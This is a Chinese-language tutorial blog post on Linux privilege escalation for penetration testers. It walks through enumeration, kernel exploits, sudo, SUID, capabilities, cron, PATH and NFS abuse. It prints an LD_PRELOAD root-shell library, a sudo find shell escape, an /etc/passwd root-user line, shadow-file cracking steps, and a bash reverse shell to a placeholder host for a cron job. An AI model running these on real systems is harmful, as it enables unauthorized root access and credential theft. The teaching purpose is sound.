简介
提权是一个过程,没有一劳永逸的解决方案,而很大程度上取决于目标系统的具体配置。内核版本、安装的应用程序、支持的编程语言、其他用户的密码等都是影响你获取root权限的关键因素。
在本质上,提权通常涉及从低权限账户提升到高权限账户。更具体地说,它是利用操作系统或应用程序中的漏洞、设计缺陷或配置失误,未经授权地访问通常对用户受限的资源。
在进行真实环境的渗透测试时,很少能够获得直接的管理员访问权限来建立立足点(初始访问)。提权是至关重要的,因为它使你能够获得系统管理员级别的访问权限,从而可以执行以下操作:
- 重置密码
- 绕过访问控制以获取受保护数据
- 编辑软件配置
- 实现持久化
- 更改现有(或新建)用户的权限
- 执行任何管理命令
Enumeration
一旦您获得对任何系统的访问权限,Enumeration是您必须采取的第一步。您可能已经通过利用导致根级别访问的严重漏洞访问了系统,或者只是找到了一种使用低特权帐户发送命令的方法。Enumeration 在 post-compromise 阶段和之前一样重要。
hostname
hostname
命令可以获取目标机的主机名,虽然这个值可以很容易地改变或者是一个相对无意义的字符串,但在某些时候它可以提供有关目标系统在公司网络中的角色的信息
uname -a
这个命令将为我们提供有关系统使用的内核的更多详细信息,这在搜索任何可能导致特权升级的潜在内核漏洞时非常有用。
/proc/version
proc 文件系统提供有关目标系统进程的信息,许多不同的 Linux 版本上都能找到 /proc
,查看 /proc/version
可能会为您提供有关内核版本的信息和其他数据,例如是否安装了编译器(例如 GCC)
/etc/issue
该文件通常包含有关操作系统的一些信息,但可以很容易地进行自定义或更改。可以参考这个文件判断操作系统及其版本
ps
ps
命令(Process Status)是查看 Linux 系统上正在运行的进程的有效方法。
ps
命令的输出内容通常包括以下内容:
- PID:进程ID(进程唯一)
- TTY:用户使用的终端类型
- 时间:进程使用的 CPU 时间量(这不是该进程运行的时间)
- CMD:正在运行的命令或可执行文件(不会显示任何命令行参数)
-A
选项可以查看所有运行中的进程;axjs
选项可以查看进程树;aux
选项可以查看所有用户的进程、启动进程的用户和未附加到终端的进程,使用这个选项我们可以更好地了解系统和潜在的漏洞
env
这个命令可以获取到系统的环境变量,PATH 变量可能具有编译器或脚本语言(例如 Python),可用于在目标系统上运行代码或用于提权
sudo -l
目标系统可能配置为允许用户以root权限运行某些(或全部)命令。可以使用sudo -l
命令列出用户可以使用sudo
运行的所有命令
ls
虽然是linux常见命令,但在寻找潜在的提权途径,使用-la
参数显示隐藏文件(以点开头)以及更详细的文件权限和其他信息,以避免错过潜在的文件或目录
id
这个命令提供当前用户权限级别和组成员身份的总体概述,id USER
也可用于获取另一个用户的信息
/etc/passwd
读取 /etc/passwd
文件是发现系统用户的一种简单方法,使用cat /etc/passwd | cut -d ":" -f 1
可以很容易地剪切并转换成一个有用的列表以用于暴力攻击。但其中有些事没啥用的系统或服务用户,可以用cat /etc/passwd | grep home
查找home,因为真实用户很可能将他们的文件夹放在home
目录下
history
这个命令可以显示历史命令记录,Linux默认记录用户所执行过的所有命令,也许可以从中了解到更多信息
ifcofig
目标系统可能是连接到另一个网络的跳板。ifconfig
命令可以提供有关系统网络接口的信息,我们也许不能直接访问某些网络接口。除此之外,可以使用 ip route
命令确认存在哪些网络路由
netstat
netstat
(network statistics)命令用于显示各种网络相关信息,-a
选项显示所有正在监听的端口和已建立的连接;-at
和-au
选项分别列出显示所有TCP和UDP传输协议的连线状态;-l
选项列出处于监听模式的端口。这些端口是打开的,并准备接受传入的连接,配合t
选项仅列出使用TCP协议进行监听的端口;-s
选项按协议列出网络使用统计信息。也可以配合-t
和-u
使用;-tp
选项列出带有服务名称和 PID 信息的连接,当PID/Program name列为空时指这个进程属于另一个用户;-i
选项显示网络接口统计信息;-ano
选项是一种常见使用方式,表示显示所有套接字、不解析名字并显示定时器
Automated Enumeration Tools
自动化工具可以节省时间,但可能会忽略一些提权用到的信息,在使用的时候要注意目标机是否有运行环境
- LinPeas: https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS
- LinEnum: https://github.com/rebootuser/LinEnum
- LES (Linux Exploit Suggester): https://github.com/mzet-/linux-exploit-suggester
- Linux Smart Enumeration: https://github.com/diego-treitos/linux-smart-enumeration
- Linux Priv Checker: https://github.com/linted/linuxprivchecker
内核漏洞提权
除非单个漏洞导致 root shell,否则权限升级过程将依赖于错误配置和松散的权限。Linux 系统上的内核管理组件之间的通信,例如系统上的内存和应用程序,这个关键功能需要内核有特定的权限;因此,成功的利用可能会导致 root 特权。
内核利用方法:
- 识别内核版本
- 搜索并找到目标系统内核版本的漏洞利用代码
- 运行漏洞利用代码
虽然看起来很简单,但请记住,内核漏洞利用失败可能会导致系统崩溃。
可以根据您的发现,您可以使用搜索引擎搜索现有的漏洞利用代码,也可以在https://www.linuxkernelcves.com/cves搜索,或者使用像LES(Linux Exploit Suggester)的脚本发现可利用的漏洞代码,但可能会误报漏报
Hint:
- 在 Google、Exploit-db 或 searchsploit 上搜索漏洞时,对内核版本具体
- 在启动之前,请务必了解漏洞利用代码的工作原理。一些漏洞利用代码可以在操作系统上进行更改,使它们在进一步使用时不安全,或者对系统进行不可逆的更改,从而在以后造成问题
- 一些漏洞利用在运行后可能需要进一步的交互。阅读漏洞利用代码提供的所有注释和说明
- 您可以分别使用
SimpleHTTPServer Python
模块和wget
将漏洞利用代码从您的机器传输到目标系统
Sudo提权
默认情况下,sudo命令允许用户以root权限运行程序。在某些情况下,系统管理员可能需要为普通用户提供一定的权限灵活性。
任何用户都可以使用 sudo -l
命令查看其当前与 root 权限相关的情况。
GTFObins是一个有价值的资源,它提供了有关如何使用您可能拥有 sudo 权限的任何程序的信息。
例如find命令sudo find . -exec /bin/sh ; -quit
可以用这个命令进行提权
除此之外还有其他办法
利用应用程序
可以利用程序的功能来泄露信息,例如 Apache2 有一个选项支持加载备用配置文件(-f
:指定备用 ServerConfigFile),这样就可以使用此选项加载 /etc/shadow
文件将导致包含 /etc/shadow
文件第一行的错误消息
利用 LD_PRELOAD
LD_PRELOAD 是一个允许任何程序使用共享库的函数。如果启用env_keep
选项,我们可以生成一个共享库,它将在程序运行之前加载并执行,注意如果真实用户 ID 与有效用户 ID 不同,LD_PRELOAD 选项将被忽略
这种方法提权的步骤如下:
- 检查 LD_PRELOAD(使用 env_keep 选项)
- 编写编译为共享对象(.so 扩展名)文件的简单 C 代码
- 使用 sudo 权限和指向我们的 .so 文件的 LD_PRELOAD 选项运行程序
一个简单的root shell的C代码如下:
代码语言:javascript复制#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
我们可以将此代码保存为 shell.c,并使用以下参数使用 gcc 将其编译为共享对象文件
代码语言:javascript复制gcc -fPIC -shared -o shell.so shell.c -nostartfiles
然后就可以使用 sudo 运行的任何程序时使用这个共享对象文件,例如
代码语言:javascript复制sudo LD_PRELOAD=/home/user/ldpreload/shell.so find
SUID提权
许多 Linux 权限控制依赖于控制用户和文件交互。我们知道文件有读、写和可执行权限(rwx
),都是在其权限级别内提供给用户的。这随着 SUID(设置用户标识)和 SGID(设置组标识)而改变。这些允许文件分别以文件所有者或组所有者的权限级别执行。除此之外文件权限还有一个s
来显示它们的特殊权限级别,我们可以通过find / -type f -perm -04000 -ls 2>/dev/null
找到这样的文件。
一个好的做法是将此列表中的可执行文件在GTFObins上查找
例如如果nano
是这样具有suid权限的文件,尽管上面的网站并不能帮助我们通过suid提权,但 SUID 位允许我们使用 nano
文本编辑器以文件所有者的权限创建、编辑和读取文件。如果nano由root所有,则意味着我们可以以root的权限读取和编辑文件,在这个阶段,我们有两个基本的权限提升选项:读取 /etc/shadow
文件或将我们的用户添加到 /etc/passwd
。
读取/etc/shadow
nano /etc/shadow
就可以输出文件内容,然后使用unshadow
命令生成一个可被破解的文件,这需要/etc/shadow
和/etc/passwd
两个文件,unshadow passwd.txt shadow.txt > passwords.txt
,接着使用john
工具拥有正确的字典和一点运气就能得到明文的密码。
添加一个具有 root 权限的新用户
首先用 openssl 工具生成新用户拥有的密码的哈希值,然后将此密码哈希值和用户名添加到 /etc/passwd
文件中,特别注意添加root:/bin/bash
的用法,这样切换到新添加的用户就能拥有root权限
hacker:openssl_hash:0:0:root:/bin/bash
Capabilities提权
Capabilities有助于在更精细的级别管理权限,如果系统管理员不想给这个用户更高的权限,他们可以改变二进制文件的Capabilities,这样,二进制文件无需更高权限的用户即可完成更高权限用户能完成的任务。
我们可以使用 getcap 工具列出启用的Capabilities,当以非特权用户身份运行时,getcap -r /
会产生大量错误,因此最好将错误消息重定向到 /dev/null
,即getcap -r / 2>/dev/null
GTFObins有一个很好的二进制文件列表,如果我们发现任何设置的Capabilities,可以利用这些二进制文件进行特权升级。
Cron Jobs提权
Cron jobs用于在特定时间运行脚本或二进制文件。默认情况下,它们以其所有者而不是当前用户的权限运行。
提权原理就是如果有一个以 root 权限运行的计划任务,并且我们可以更改将要运行的脚本,那么我们的脚本将以 root 权限运行
Cron jobs配置以 crontab(cron 表)存储以查看任务将运行的下一个时间和日期,任何用户都可以读取 /etc/crontab
这个保存系统范围下 cron jobs 的文件。我们的目标是找到一个由 root 设置的 cron jobs 并让它运行我们的脚本,最好是一个 shell
#!/bin/bash
bash -i >& /dev/tcp/<your_ip>/<port> 0>&1
系统管理员需要定期运行脚本。 他们创建了一个 cron jobs 来执行此操作, 一段时间后,脚本变得无用,他们将其删除,但他们没有清理相关的 cron jobs,此变更管理问题可以导致利用 cron jobs 的潜在漏洞。
如果未定义脚本的完整路径,cron 将引用 /etc/crontab
文件中 PATH 变量下列出的路径。这样在这个路径下创建一个同名的脚本,它应该由 cron jobs 运行。
PATH提权
Linux 中的 PATH 是一个环境变量,它告诉操作系统在哪里搜索可执行文件。对于任何未内置于 shell 或未使用绝对路径定义的命令,Linux 将开始在 PATH 下定义的文件夹中搜索。如果您的用户具有写入权限的文件夹位于PATH中,您可能会劫持应用程序来运行脚本。
代码语言:javascript复制echo $PATH
export $PATH=/tmp:$PATH
NFS提权
共享文件夹和远程管理界面(例如 SSH 和 Telnet)也可以帮助您获得目标系统的根访问权限。某些情况下还需要同时使用这两种载体,例如在目标系统上找到根 SSH 私钥并通过 SSH 以根权限连接,而不是尝试增加当前用户的权限级别。
NFS(Network File Sharing)配置保存在 /etc/exports
文件中。该文件是在 NFS 服务器安装期间创建的,通常可供用户读取。此提权的关键元素是文件中的no_root_squash
选项。默认情况下,NFS会将root用户更改为nfsnobody,并阻止任何文件以root权限运行。如果可写的共享上存在no_root_squash
选项,我们可以创建一个设置了SUID位的可执行文件,并在目标系统上运行它。
本文采用CC-BY-SA-3.0协议,转载请注明出处 Author: ph0ebus